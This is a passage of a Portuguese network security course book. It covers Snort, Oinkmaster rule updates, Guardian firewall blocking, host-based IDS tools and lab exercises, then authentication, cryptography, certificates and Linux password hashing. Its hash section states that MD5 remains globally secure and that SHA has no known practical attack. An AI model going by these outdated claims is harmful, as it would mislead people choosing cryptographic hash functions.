11 Configuração (emerging threats). Parâmetros adicionais: 11 enablesid SID1, SID2. 11 disablesid SID1, SID2. Conforme foi dito, a atualização constante de regras é fundamental para o bom funcionamento de um IDS. Porém, dependendo do número de atualizações diárias e da quantidade de sensores, a tarefa de mantê-los atualizados pode ficar muito complexa. Com o intuito de facilitar a atualização de regras, foi criada uma ferramenta chamada Oinkmaster, que permite que a atualização seja feita de forma automática. A instalação do Oinkmaster é automaticamente realizada junto com o Snort, durante a execução do comando apt-get install. A configuração da ferramenta é bastante simples e consiste apenas em indicar no arquivo de configuração os parâmetros necessários e instalar um agendamento (cron) no ambiente para executar periodicamente a ferramenta. A seguir, os passos

Cron

para a configuração do Oinkmaster para atualização das regras do projeto emerging threats.

Sistema de agendamento de tarefas de um ambiente Unix.

1. Edite o arquivo /etc/oinkmaster.conf e adicione a seguinte linha:

http://www.emergingthreats.net/rules/emerging.rules.tar.gz Salve o arquivo. 2. Verifique o funcionamento do Oinkmaster, executando-o na linha de comando:

/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o 3. Crie um novo diretório para não misturar os conjuntos de regras (ex: /etc/snort/rules2). 4. Configure o cron para executar o Oinkmaster periodicamente com o comando crontab –e.

Exemplo para executar o Oinkmaster todos os dias às 5h30 da manhã:

30 5 * * * /usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/ snort/rules2 5. É necessário reiniciar o Snort após a atualização, então é interessante criar um script para

realizar as duas tarefas e incluí-lo no cron. 6. Adicione os arquivos de regras no seu snort.conf, utilizando as diretivas include

. Não se esqueça de especificar o caminho completo.

Segurança de Redes e Sistemas

O Oinkmaster possui parâmetros extras que podem ser inseridos no arquivo de configu-

114

l

Saiba mais

ração. Seguem dois parâmetros importantes: 11 enablesid SID1, SID2, ... – habilita automaticamente a regra identificada pelo SID. Um SID é um número único que identifica uma regra, que pode ser visto no parâmetro “sid:” presente na linha da regra. 11 disablesid SID1, SID2, ... – desabilita automaticamente a regra identificada pelo SID.

Mais informações sobre o funcionamento do Oinkmaster podem ser obtidas no documento Installing and configuring OinkMaster, de Patrick Harper.

Guardian: um Snort reativo O Guardian é um script na linguagem Perl, que insere temporariamente regras de

q

bloqueio em um firewall, a partir dos alertas gerados pelo Snort. Através do Guardian, a instalação de Snort passa a ter uma característica reativa. O Guardian não é instalado automaticamente na distribuição e deve ser baixado e instalado manualmente. Os passos a seguir instalam o Guardian e o integram com o firewall Iptables: 11 Baixe a última versão do “Guardian Active Response for Snort” e o descompacte. 11 Copie o arquivo de configuração do Guardian para o diretório /etc. 11 Edite o arquivo e ajuste os seguintes parâmetros: 22 Interface – interface onde serão bloqueados os pacotes maliciosos. Ajuste para a sua interface externa. 22 HostGatewayByte – último octeto do endereço IP do gateway. 22 AlertFile – local do arquivo de alertas do Snort. 11 Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão ignorados (um por linha). 11 Crie o arquivo /etc/guardian.target e inclua nele os endereços IP da máquina atual. 11 Copie o arquivo guardian.pl para o diretório /usr/local/bin. 11 Copie os scripts de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretório. 22 cp scripts/iptables_unblock.sh /usr/local/bin/guardian_unblock.sh 22 cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh 11 Execute o Guardian com o seguinte comando:

/usr/local/bin/guardian.pl –c /etc/guardian.conf

Snort-inline Modo especial de funcionamento do Snort, integrado com o firewall Iptables/netfilter

q

(snort como IPS). Funcionamento:

11 Pacotes recebidos pelo Iptables são encaminhados para uma fila. 11 Snort-inline decide pelo encaminhamento.

Snort-inline é um modo especial de funcionamento do Snort, integrado com o firewall Iptables/ uma fila (queue), para ser processado pelo Snort-inline, que pode descartar pacotes de acordo com as suas regras, de modo que o pacote não é passado adiante pelo processo de roteamento do firewall. Opcionalmente podem ser gerados registros e alertas correspondentes. Assim como qualquer IPS, a implementação do Snort-inline deve ser realizada com cuidado, pois caso a máquina onde se encontra o IPS fique sobrecarregada, ela pode impactar no desempenho da rede ou até tornar indisponível o segmento de rede atrás do IPS. Um dos principais usos no Snort-inline consiste no Projeto Honeynet (Honeynet Project). Ele foi utilizado como componente principal do honeywall roo. Uma honeynet consiste em uma rede com servidores especialmente construídos com o objetivo de atrair atacantes

Capítulo 5 - Detecção e prevenção de intrusos

netfilter para funcionar como um IPS. Cada pacote recebido pelo Iptables é encaminhado para

115

para a honeynet (daí o honey, “mel” em inglês). Dessa forma, um pesquisador de segurança consegue aprender com as técnicas empregadas pelo atacante. Uma honeynet é um tópico avançado e deve ser utilizada apenas por administradores experientes. Os responsáveis pelo projeto Snort-inline passaram a investir em um novo IDS/IPS open source, chamado suricata. Apesar de recente, ele possui objetivos ambiciosos, podendo vir

w Mais informações sobre o projeto Honeynet podem ser encontradas em: http://www. honeynet.org/

a ser um novo padrão em IDS/IPS open source. As regras Emerging Treats também estão disponíveis para o Suricata da Open Information Security Foundation (OISF).

Bro Intrusion Detection System O Bro IDS é um projeto open source de um sistema de detecção de intrusos baseado em rede. Forte concorrente do Snort, ele monitora de forma passiva o tráfego de rede em busca de atividades suspeitas. A sua análise inclui a detecção de ataques específicos (inclusive os definidos pelas assinaturas, mas também aqueles definidos em termos de eventos) e ativi-

l

dades incomuns (por exemplo, certo host conectar a determinados serviços ou falhas em tentativas de conexão).

Saiba mais

Se o Bro detectar algo de interesse, pode ser configurado para gerar uma entrada de log, alertar o operador em tempo real, executar um comando do sistema operacional (por exemplo, para finalizar a conexão ou bloquear um host malicioso on-the-fly). Além disso, os arquivos de log detalhados do Bro podem ser facilmente utilizados pela ciência forense. Para que esse aplicativo funcione corretamente, será necessário instalar os seguintes componentes na máquina Linux: Libpcap, Flex, Bison ou byacc, cabeçalhos e bibliotecas do BIND8, Autotools, OpenSSL, Libmagic, Libz, GnuPG, LibGeopIP e Google Perftools.

HIDS Existem diversas ferramentas que realizam detecção de intrusos com base em hosts. Podemos citar algumas, disponíveis na internet: 11 OSSEC: ferramenta bastante completa de HIDS, capaz de realizar análise de logs, verificação de integridade de arquivos, monitoramento de políticas, detecção de rootkits e alertas em tempo real, entre outros. Disponível para plataformas como Linux, MacOS, Solaris, HP-UX, AIX e Windows. 11 SAMHAIN: HIDS que provê verificação de integridade de arquivos e análise e monitoramento de arquivos de log. Ele foi projetado para monitorar múltiplas máquinas com diferentes sistemas operacionais, provendo registros centralizados e gerenciados. 11 Tripwire: ferramenta antiga de monitoramento de integridade de arquivos, muito usada para verificar se os arquivos de um sistema operacional foram modificados, o que pode ser um indício de comprometimento do servidor.

Segurança de Redes e Sistemas

11 Osíris: ferramenta de monitoramento de alterações em máquinas capaz de moni-

116

torar mudanças no sistema de arquivos, lista de usuários e grupos e módulos de kernel. Suporta plataformas como Linux, BSD, Windows, AIX, Solaris e MacOS. Atua de forma centralizada, monitorando mudanças em diversas máquinas.

q

Outro projeto interessante de IPS é o HLBR, desenvolvido no Brasil disponível no sourceforge.

Roteiro de Atividades 5 Atividade 1 – Configuração básica do Snort Configure o Snort na máquina gateway (FWGW1), e teste a sua configuração utilizando a ferramenta Nmap. Passo 1

Instale o Nmap no host Windows XP.

Passo 2

No host FWGW1, atualize a base de pacotes do apt-get com o repositório da internet e instale o Snort:

# apt-get update # apt-get install snort Quando for questionado pelo processo de instalação do Snort, defina como “Address Range Local”: 172.16.G.0/24,10.1.G.0/24 Passo 3

Por padrão, o apt-get configura o Snort para iniciar automaticamente apenas na interface eth0; para esta atividade vamos iniciar o Snort na interface eth1, que interliga com o host Windows XP. Para isso use o comando:

# /etc/init.d/snort start eth1 Passo 4

No host Windows XP, realize um scan na rede DMZ para encontrar todos os serviços publicados.

Passo 5

No host FWGW1, verifique os logs gerados no Snort:

Ou:

# tail –f /var/log/snort/alert

Capítulo 5 - Roteiro de Atividades

# cat /var/log/snort/alert

117

Atividade 2 – Atualização de regras Configure o Oinkmaster para atualizar automaticamente as regras, uma vez por hora. Utilize as regras Emerging Threats. Desafio: você consegue configurar o Oinkmaster para atualizar as regras VRT? Será necessário se registrar no site do Snort e obter um Oinkcode. Pesquise na internet se é possível utilizar o Oinkmaster para atualizar mais de um conjunto de regras. Passo 1

No host FWGW1, edite o arquivo de configuração do Oinkmaster a adicione a URL sugerida no texto.

# vi /etc/oinkmaster.conf URL = http://www.emergingthreats.net/rules/emerging.rules. tar.gz Não se esqueça de comentar a linha URL: http://www.snort.org/dl/rules/snortrules-snapshot-2.2.tar.gz Passo 2

No host FWGW1, teste a configuração do Oinkmaster realizada no passo anterior:

# mkdir /etc/snort/rules2 # /usr/sbin/oinkmaster -C /etc/oinkmaster.conf -o /etc/ snort/rules2 Inclua o parâmetro abaixo no arquivo /etc/snort/snort.conf:

include /etc/snort/rules2/emerging.rules Passo 3

Crie um script para automatizar a execução do Oinkmaster e para reiniciar o Snort sempre que baixar uma nova versão das assinaturas. Sugestão: crie o script no diretório de scripts de inicialização de processos do Debian: /etc/init.d/. Automatize a execução do script recém-criado utilizando o crontab. Exemplo:

# vi /root/atualiza_regras.sh !#/bin/bash

# Processo de baixar as novas regras /usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/snort/ rules2 # Reinicia o Snort /etc/init.d/snort stop eth1 /etc/init.d/snort start eth1

Segurança de Redes e Sistemas

Agora vamos dar permissão de execução do script criado acima:

118

# chmod +x /root/atualiza_regras.sh Passo 4

Teste a configuração do script recém-criado.

# /root/atualiza_regras.sh

Atividade 3 – Bloqueio automático no firewall Configure o Guardian para bloquear automaticamente os pacotes com destino ao firewall, conforme descrito na parte teórica. Utilize o Nmap para testar o bloqueio. Desafio: existe alguma ferramenta para teste de IDS? Verifique na internet e tente instalar para testar o Snort. Passo 1

No host FWGW1, baixe o “Guardian Active Response for Snort” do endereço

# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz # tar –xvzf guardian-1.7.tar.gz # cd guardian-1.7 Passo 2

Copie o arquivo de configuração do Guardian para o diretório /etc e edite o arquivo, ajustando os parâmetros: InterfaceHostGatewayByteAlertFile Obs.: Para este atividade não existe a necessidade de alterar os parâmetros acima.

Passo 3

Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão ignorados (um por linha) e crie o arquivo /etc/guardian.target e inclua nele os endereços IP da máquina atual.

Passo 4

Copie o arquivo guardian.pl para o diretório /usr/local/bin. Copie os scripts de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretório.

# cp guardian.pl /usr/loca/bin # cp scripts/iptables_unblock.sh /usr/local/bin/guardian_ unblock.sh # cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh Passo 5

Execute o Guardian com o seguinte comando:

# /usr/local/bin/guardian.pl –c /etc/guardian.conf

Atividade 4 – Criando uma regra personalizada do Snort O objetivo desta atividade é demonstrar como pode ser criada uma regra customizada do Snort. Neste exemplo, vamos criar uma regra que vai alertar sempre que um usuário acessar o You Tube. Passo 1

No host FWGW1, crie o arquivo /etc/snort/rules/yutube.rules com o seguinte conteúdo:

alert tcp any any -> any any (content:”www.youtube.com”; msg:”Acesso ao Youtube”; sid:100002; rev:1;) Adicione a nova regra ao arquivo de configuração do Snort. Para isso, edite o arquivo /etc/snort/snort.conf e insira no final a seguinte linha:

include $RULE_PATH/youtube.rules Passo 4

Reinicie o Snort:

/etc/init.d/snort restart eth1 Passo 5

Como não temos uma porta espelhada no switch para instalação do Snort, vamos gerar o acesso a partir da máquina LinServer. Para isso, execute:

# apt-get install lynx # lynx www.youtube.com Passo 6

Acesse o log do Snort em /var/log/snort/alert e veja o funcionamento da regra.

Capítulo 5 - Roteiro de Atividades

Passo 2

119

120

Segurança de Redes e Sistemas

6 Conhecer em detalhes o processo de identificação de usuários, autenticação, autorização e auditoria.

conceitos

Sistema AAA, criptografia, certificados digitais, gerenciamento de senhas, sistemas de autenticação única, servidores de diretório LDAP e sistemas de autorização.

Introdução O processo de identificação de usuários, autenticação, autorização e auditoria é fundamental para garantir a segurança de aplicações e serviços, de modo que somente usuários previamente cadastrados, identificados e autenticados podem ter acesso aos recursos computacionais que lhes foram autorizados pelo responsável. Para nivelar o conhecimento e permitir o entendimento de alguns assuntos, serão apresentados conceitos básicos sobre criptografia e certificação digital.

Exercício de nivelamento 1 e Autenticação e autorização O que você entende como processo de identificação, autenticação, autorização e auditoria?

Sistema AAA 11 Autenticação (Authentication) 22 Mecanismo de identificação do usuário. 11 Autorização (Authorization) 22 Mecanismo de validação de privilégios.

q

Capítulo 6 - Autenticação, Autorização e Certificação Digital

objetivos

Autenticação, Autorização e Certificação Digital

121

11 Auditoria (Account)

q

22 Mecanismo de gerar registros das ações do usuário. O processo de controlar o acesso, garantindo que a origem dos dados é a de quem alega ser, é um dos objetivos da autenticação. Garantir o uso autorizado de recursos e o registro de todas as atividades dentro de um sistema são tarefas dos sistemas conhecidos por: Autenticação, Autorização e Auditoria (AAA). Nesta sessão, serão apresentados os protocolos e técnicas para trabalhar com cada um desses As.

Autenticação Algo que você sabe:

q

11 Mecanismo de senhas e suas variações 22 OTP, Passphrases etc. 11 O mais simples de implementar. 11 O menos seguro, por limitação do usuário. Algo que você tem: 11 Smartcards, chips, token etc. Algo que você é: 11 Biometrias 22 Impressão digital, formato da íris, voz, face etc. A autenticação é um processo que tem por objetivo garantir que um usuário é realmente quem diz ser. Esse é um processo básico e fundamental quanto tratamos de segurança de sistemas e serviços, pois basta um usuário usurpar as credenciais de outro usuário que possui maiores privilégios para ser gerado um grave incidente de segurança. O processo de autenticação em geral se baseia em três princípios básicos para permitir ao usuário provar a sua autenticidade. São eles: Algo que você sabe Nesse princípio, o sistema solicita ao usuário que informe algo que somente aquele usuário sabe. O exemplo mais comum desse princípio são as senhas e suas variações (OTP e passphrases). Apesar de ser o mais barato de implementar, pois pode ser implementado inteiramente via software, em geral é o menos seguro, pois um atacante pode tentar adivinhar a senha de um usuário. Como o cérebro humano é limitado, os usuários tendem a escolher senhas fáceis de lembrar. Algo que você tem Aqui o usuário deve apresentar algo para o sistema que lhe foi dado no momento em que Segurança de Redes e Sistemas

se registrou para obter acesso ao sistema. Dessa forma, ao reapresentar o mesmo objeto, o usuário estaria comprovando que é realmente quem diz ser. Normalmente, são combinados com uma senha (chamada de PIN), de modo que não possa ser usado caso seja roubado. Nessa categoria, são muito comuns os smartcards, chips e tokens. São considerados mais seguros que o primeiro, pois para um usuário se passar por outro, deve obter o objeto que o identifica e a senha correspondente. Algo que você é Essas são consideradas as formas mais seguras de autenticação, pois envolvem uma característica intrínseca ao usuário. Em geral são chamadas de biometrias. 122

Alguns exemplos: impressões digitais, formato da íris, voz, face etc. Apesar de consideradas seguras, devem ser utilizadas de forma cuidadosa, pois o seu uso indiscriminado pode criar uma falsa sensação de segurança. Um leitor de impressões digitais pode ser enganado com uma impressão digital falsa, caso não tenha um dispositivo que garanta que o dedo em questão é “vivo”. Ou o mesmo leitor, caso esteja controlando uma porta, pode ser arrancado do seu lugar e a porta aberta por uma mera junção de dois fios.

Autorização O usuário obtém acesso somente aos recursos previamente definidos pelo gestor do sistema. A autorização corresponde a um processo seguinte à autenticação, onde o usuário obtém acesso aos recursos de acordo com o nível de acesso que lhe foi designado por um administrador ou gestor. Dessa forma, uma vez corretamente identificado, o usuário pode ter acesso a determinados recursos.

Auditoria A auditoria por fim corresponde ao processo de verificação contínua se os acessos concedidos estão corretos e se não há acessos indevidos. Normalmente temos um auditor que periodicamente verifica as trilhas de auditoria, que são registros feitos pelos sistemas de autenticação e autorização, contendo todos os acessos realizados pelos usuários do ambiente. Através de um processo consistente de AAA, podemos ter um ambiente com um nível de segurança adequado, sem comprometer a integridade, a confidencialidade e a disponibilidade dos sistemas. Nos itens a seguir, estaremos considerando a autenticação com base em senhas, visto que é a autenticação mais comum e possível de se implementar via software.

Exercício de fixação 1 e Sistema AAA

O que é autorização?

Criptografia 11 Simétrica: também conhecida por criptografia convencional. 11 Assimétrica: criptografia por chaves pública e privada. 11 Algoritmo de Hash: os cinco fundamentos para um bom algoritmo de Hash. Esconder seus segredos sempre foi um dos grandes desafios da humanidade. Os antigos generais precisavam transmitir informações para seus exércitos sem o perigo de ter suas mensagens interceptadas e traduzidas pelo inimigo. O uso da criptografia apareceu, possivelmente, nas primeiras guerras da antiguidade e seu primeiro relato de uso na história é

q

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Quais são os princípios básicos em que se baseia o processo de autenticação em geral?

atribuído a Cesar, imperador de Roma. 123

Basicamente, um processo criptográfico envolve a aplicação de três conceitos elementares: a mensagem/texto, o algoritmo e a chave. A mensagem consiste, pura e simplesmente, na informação que se deseja transmitir de forma segura; o algoritmo é a forma que será utilizada para cifrar e decifrar uma mensagem; e a chave, em alguns modelos computacionais, pode ser entendida como o segredo compartilhado que deve ser conhecido apenas pelas duas partes envolvidas no processo de comunicação. A garantia da confidencialidade está em esconder do atacante o algoritmo ou a chave utilizada. Um esquema de codificação criptográfica consiste em uma tupla (M, C, K, E e D) com as seguintes propriedades: 11 M é um conjunto conhecido como espaço de texto comum (plaintext). 11 C é um conjunto conhecido como espaço de texto cifrado (ciphertext). 11 K é um conjunto conhecido como espaço de chave. 11 E é uma família de funções de codificação criptográficas tal que Ek: MgC 11 D é uma família de funções de decodificação criptográficas tal que Dk: CgM O algoritmo criptográfico define a forma como a mensagem será cifrada e decifrada. A definição prévia do algoritmo pelas partes envolvidas (transmissor e receptor) é um dos fatores fundamentais no processo de comunicação seguro. Os algoritmos criptográficos podem ser divididos em dois grandes grupos: algoritmos simétricos ou de chave secreta e algoritmos assimétricos ou de chave pública.

Criptografia simétrica Utiliza a mesma chave para criptografar e descriptografar uma informação.

q

Vantagens: 11 Velocidade e algoritmos rápidos. 11 Facilidade de implementação em hardware. 11 Chaves pequenas e simples geram cifradores robustos. Desvantagens: 11 Dificuldade do gerenciamento das chaves. 11 Não permite a autenticação. 11 Não permite o não repúdio do remetente. A criptografia simétrica utiliza a mesma chave para criptografar e descriptografar uma informação. Essa chave tem de ser compartilhada entre o emissor e o receptor da informação. Entretanto, o uso de criptografia simétrica dificulta o gerenciamento de chaves e não

Segurança de Redes e Sistemas

permite a autenticação e o não repúdio do remetente. Imagine a seguinte situação: um usuário A deseja conversar de forma criptografada com um usuário B. Para tal, ele precisa de um algoritmo e de uma chave. Se ele usa criptografia simétrica, a chave para A cifrar a mensagem e B decifrar é a mesma. Agora imagine que A deseja conversar com um usuário C. Para essa nova conversa, haveria a necessidade de uma nova chave, pois se A usar a mesma chave que usa com B, o próprio B poderia decifrar as mensagens. Dessa forma, se estivermos conversando com 100 pessoas, necessitaríamos de 100 chaves diferentes. Rapidamente percebemos que a solução de criptografia simétrica não estende bem, pois quando crescemos o número de usuários envolvidos, a gerência das chaves se torna inviável. Para procurar resolver esse problema de gerenciamento de chaves, foi criada a criptografia assimétrica. 124

Criptografia assimétrica

q

11 Gerenciamento de chaves. 11 Implantação de não repúdio do remetente. 11 Pode ser utilizada para garantir a confidencialidade, a autenticidade ou ambos. 11 A principal desvantagem é o desempenho, pois é muito mais lenta que a criptografia simétrica. A criptografia assimétrica é uma forma de criptossistema em que a criptografia e a des-

criptografia são realizadas via diferentes chaves: uma chave pública e uma chave privada. Ela também é conhecida como criptografia de chave pública. A criptografia assimétrica transforma o texto claro em texto cifrado usando uma de duas chaves e um algoritmo de criptografia. Usando a outra chave associada e um algoritmo de descriptografia, o texto claro é recuperado a partir do texto cifrado. Chave privada de Beto

texto claro

texto cifrado

texto claro

Dessa forma, a criptografia assimétrica pode ser utilizada para garantir a confidencialidade, a autenticidade ou ambos. O criptossistema mais utilizado atualmente é o RSA, sendo envolvido o conceito de números primos, de modo que é difícil de explorar, pela complexidade de se encontrar números primos de um número composto. A criptografia assimétrica tem como desvantagem o desempenho, pois é muito mais lenta que a criptografia simétrica. Se usássemos criptografia assimétrica em todas as transações criptográficas, teríamos perda de desempenho bastante significativa. Dessa forma, o mais comum é utilizar de uma forma combinada as duas técnicas: 1. Uma chave simétrica, inteiramente randômica, é criada e os dados são cifrados

q

com essa chave. 2. A chave simétrica em si é cifrada com a chave pública do destinatário. 3. O conjunto chave e mensagem é enviado ao destinatário. 4. O destinatário decifra a chave simétrica (chamada de chave de sessão) utilizando

sua chave privada. 5. Com a chave simétrica em mão, o destinatário decifra o resto da mensagem.

Tamanho das chaves Algoritmos assimétricos utilizam os tamanhos de chave: 11 1024 bits. 11 2048 bits. 11 4096 bits.

q

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Figura 6.1 Criptografia assimétrica.

Chave pública de Beto

125

q

Algoritmos simétricos utilizam tamanhos menores: 11 128 bits. 11 256 bits. Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento da época e do custo médio para se quebrar uma chave.

Em geral, os algoritmos assimétricos utilizam tamanhos de chave (1024, 2048 ou 4096 bits) muito maiores que os algoritmos simétricos (128, 256 bits), pois o comprometimento de uma chave de sessão invalida apenas uma transação, porém o comprometimento de uma chave assimétrica invalida todas as transações daquele usuário. Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento da época e do custo médio para se quebrar uma chave. Atualmente o algoritmo simétrico recomendado é o AES-256, que utiliza chaves de 256 bits.

Algoritmos Hash Algoritmos Hash são funções criptográficas conhecidas como one-way. Essas funções possuem como entrada mensagens de tamanho variável e a saída de tamanho fixo. Uma mensagem de entrada, sempre que for submetida à análise da função Hash vai gerar a mesma saída. Mensagem (tamanho arbitrário)

Função de hash de uma só via

Figura 6.2 Função Hash (Fonte: Cert RS).

Valor do hash (tamanho fixo)

O principal propósito da função Hash é criar uma “impressão digital” de um arquivo, mensagem ou bloco de dados. Um algoritmo Hash pode ser considerado forte quando:

q

One-Way 11 A partir do resultado da função Hash, não é possível descobrir a mensagem de entrada, de tamanho arbitrário. Também conhecido como algoritmo de uma só via. Fraca resistência à colisão 11 Quando computacionalmente for impossível encontrar uma segunda entrada diferente de uma primeira entrada conhecida e as duas saídas forem iguais. Forte resistência à colisão 11 Quando computacionalmente for impossível encontrar um par de entradas diferentes com a mesma saída.

Segurança de Redes e Sistemas

Algoritmos Hash mais difundidos:

126

MD5 Função de Hash de uma só via, inventada por Ron Rivest, do MIT, que também trabalha para a Indústria RSA de Segurança de Dados. O algoritmo MD (Message Digest) produz um valor de Hash de 128-bit para um tamanho arbitrário da mensagem inserida. Foi primeiramente proposto em 1991, depois de alguns ataques de criptoanálise descobertos contra a função de Hash de uma só via, utilizada no MD4 de Rivest. O algoritmo foi projetado para velocidade, simplicidade e segurança. É claro que os detalhes do algoritmo são públicos e foram analisados por diversos criptógrafos.

Uma fraqueza foi descoberta em alguma parte do MD5, mas não afetou a segurança global do algoritmo. Porém, o fato de ele só produzir um valor de Hash de 128-bit é inquietante; é preferível uma função de Hash de uma só via, que produza um valor mais longo.

SHA Função de Hash de uma só via, desenvolvida pelo NIST (National Institute of Standards and Technology). Produz um valor de Hash de 160-bit de um tamanho arbitrário da mensagem. O SHA é uma função Hash baseada na função Hash MD4. Porém, a fraqueza na parte do algoritmo MD5 mencionada ainda não foi possível de aplicar contra o SHA. Acredita-se que o SHA não possui essa vulnerabilidade. Atualmente, não existe forma conhecida de ataque criptoanalítico contra o SHA, com exceção do ataque de força bruta. Seu valor de 160-bits torna o ataque de força bruta ineficiente. É claro que não existe prova de que alguém não possa quebrar o SHA no futuro próximo ou mesmo quando esse material estiver sendo lido.

Modos de operação de algoritmos criptográficos Outra questão importante acerca de criptografia são os modos de operação. Em especial, temos os modos de operação em bloco e os modos de operação em stream. A operação em bloco divide os dados em conjuntos de tamanho fixo (chamados de blocos). Esses blocos são combinados com repetições da chave para gerar o texto cifrado, muitas vezes utilizando a operação matemática XOR. Apesar de útil para a cifragem de arquivos, uma cifragem de bloco não é adequada para a transmissão de dados cifrados de forma contínua, como, por exemplo,

Para conhecer mais sobre cada modo de operação, consulte o livro Applied Criptography, de Bruce Schneier.

aguardar um bloco ser completado para fazer a cifragem, o que reduzirá o desempenho. As cifragens de bloco podem ter vários modos de operação, cada um com suas vantagens e desvantagens. São eles: Electronic Codebook (ECB), Cipher-block Chaining (CBC), Propagating Cipher-Block Chaining (PCBC), Cipher Feedback (CFB), Output Feedback (OFB) e Counter (CTR). Dessa forma, em aplicações em que temos pressa em enviar os dados, usamos o stream cipher, que realiza a cifragem a nível de bit, de modo que não há a necessidade de aguardar a formação de um bloco. Alguns exemplos de cifragem stream são RC4 e A5/1 (usado em redes GSM de telefonia celular). A seguir veremos algumas aplicações de criptografia bastante utilizadas.

Exercício de fixação 2 e Criptografia Explique a criptografia assimétrica.

Exercício de fixação 3 e Algoritmos Hash O que são e para que servem os algoritmos hash?

Capítulo 6 - Autenticação, Autorização e Certificação Digital

d

Saiba mais

uma conexão VPN ou uma transmissão de vídeo, pois numa cifra de bloco o algoritmo teria de

127

Certificados digitais O coração da especificação do esquema X.509 é a associação de certificados de chaves públicas a cada usuário do diretório. Esses certificados digitais devem ser gerados por uma Autoridade Certificadora (AC) confiável e armazenados no servidor de diretório. Esse armazenamento pode ser feito pelo AC e pelo usuário. Dessa forma, o servidor de diretório não é responsável pela criação desses certificados de chave pública, mas apenas provê fácil acesso aos certificados de usuários.

Obtendo certificado de usuário A ICP (Infraestrutura de Chave Pública) é construída de forma hierárquica, onde a AC certificadora Raiz concede permissão para uma AC e permissão de emissão de certificados. A figura seguinte ilustra um exemplo de hierarquia de AC utilizada no ICP-Brasil.

Comitê gestor

AC PR

AC Raiz

AC Serasa

AC Certsign

AC SRF

AC Caixa

Figura 6.3 Hierarquia de AC.

O certificado de usuário é gerado por sistema de Autoridade Certificadora, que emite a chave pública e privada do certificado. A chave pública pode ser armazenada em um repositório de diretórios e a chave privada fica sob a guarda do usuário. Existem várias implementações de PKI (Public Key Infrastructure), ou Infraestrutura de Chaves Públicas, comerciais e de software livre: 11 Microsoft Windows 2008 Server – Certificate Autority. 11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003. 11 Projeto de software livre OpenCA PKI. Existe ainda um projeto educacional de infraestrutura de chaves públicas, com o objetivo de prover uma ICP para as universidades brasileiras. Informações sobre esse projeto podem ser encontradas em: http://www.rnp.br/servicos/icpedu.html

Segurança de Redes e Sistemas

A figura a seguir ilustra o processo de geração de um certificado.

128

w Saiba mais Informações sobre a ICP-Brasil podem ser obtidas em: http://www.iti.gov.br

1 2 H

E

4 1. Certificado não assinado: contém o ID e a chave pública do usuário. 2. Geração do código hash do certificado não assinado. 3. Código hash encriptado com a chave privada da AC para formar a assinatura. 4. Certificado assinado: recipiente pode verificar a assinatura usando a chave pública da AC.

Revogando o certificado do usuário No momento da geração do certificado digital, é necessário indicar o período de sua validade. Dessa forma, se por algum motivo um certificado necessite de ser cancelado antes da data final de validade, esse certificado será incluído em uma base de certificados revogados. A Infraestrutura de Chaves Públicas disponibiliza essa base para que, no processo de validação de um certificado, esse serviço de validação consulte a base, antes de permitir ou negar determinado acesso. Manter essa base atualizada e garantir que as aplicações a estejam acessando é mais um dos desafios do administrador de segurança da rede.

Exercício de fixação 4 e Certificados digitais Explique o que são certificados digitais.

Gerenciamento de senhas 11 Sistemas de senhas Linux. 11 Sistemas de senhas Windows. 22 Hash LM – Lan Manager. 22 Hash NTLM. 11 Administrando as senhas.

q

Capítulo 6 - Autenticação, Autorização e Certificação Digital

Figura 6.4 Processo de geração de um certificado.

3

129

A primeira fronteira de proteção contra intrusos é o sistema de senhas. Praticamente todos os sistemas multiusuários utilizam um mecanismo de autenticação onde o usuário é induzido a entrar com o identificador (ID) e uma senha secreta. A senha serve para autenticar o ID do usuário, liberando ou não o acesso ao sistema. O ID é utilizado para: 11 Determinar se o usuário está autorizado a obter acesso ao sistema (autenticação). Em alguns sistemas específicos, apenas usuários previamente cadastrados terão permissão de acesso. 11 O ID determina o nível de acesso concedido a um usuário específico (autorização). Alguns usuários, por exemplo, podem ter acesso de administração do sistema, enquanto outros terão acesso apenas de operação.

Sistema de senhas Linux 11 Ao criar um usuário no sistema Linux, uma senha é associada ao ID do usuário.

q

11 A senha é manipulada pela função crypt(). 11 A conta do usuário é armazenada no arquivo /etc/passwd. 11 A senha é armazenada no arquivo /etc/shadow. Garantir o uso de senhas fortes por parte do usuário é uma difícil tarefa do administrador do sistema, em qualquer ambiente operacional. Vamos analisar como funciona o sistema de senhas em um ambiente Unix. Quando um usuário é criado no sistema, uma senha é associada ao seu ID. Essa senha é manipulada pela função crypt(), que pode trabalhar com criptografia baseada em DES, MD5 ou SHA, para geração do Hash da senha e do SALT que será armazenado no arquivo de senhas do sistema, normalmente armazenado em /etc/shadow. A cifragem das senhas permite um nível adicional de proteção, visto que mesmo que um atacante tenha acesso ao arquivo de senhas, terá de realizar um ataque de força bruta no

Segurança de Redes e Sistemas

arquivo de senhas para tentar descobrir as senhas dos usuários do sistema.

130

Salt

Password File

Password 12 bits

User id

56 bits

salt

E (pwd, [salt, 0])

Load

crypt (3) 11 characters

(a) Loading a new password

Password File

User id User id

salt

E (pwd, [salt, 0])

Salt

Select

Password

crypt (3)

Figura 6.5 Senhas Linux. Fonte: Cryptography and Network Security Principles and Practices. Stallings, William. Prentice Hall, 2005.

Compare (b) Verifying a password

O SALT é gerado no momento em que a senha é criada, e guardado em texto claro no arquivo de senhas. Objetivos do SALT:

q

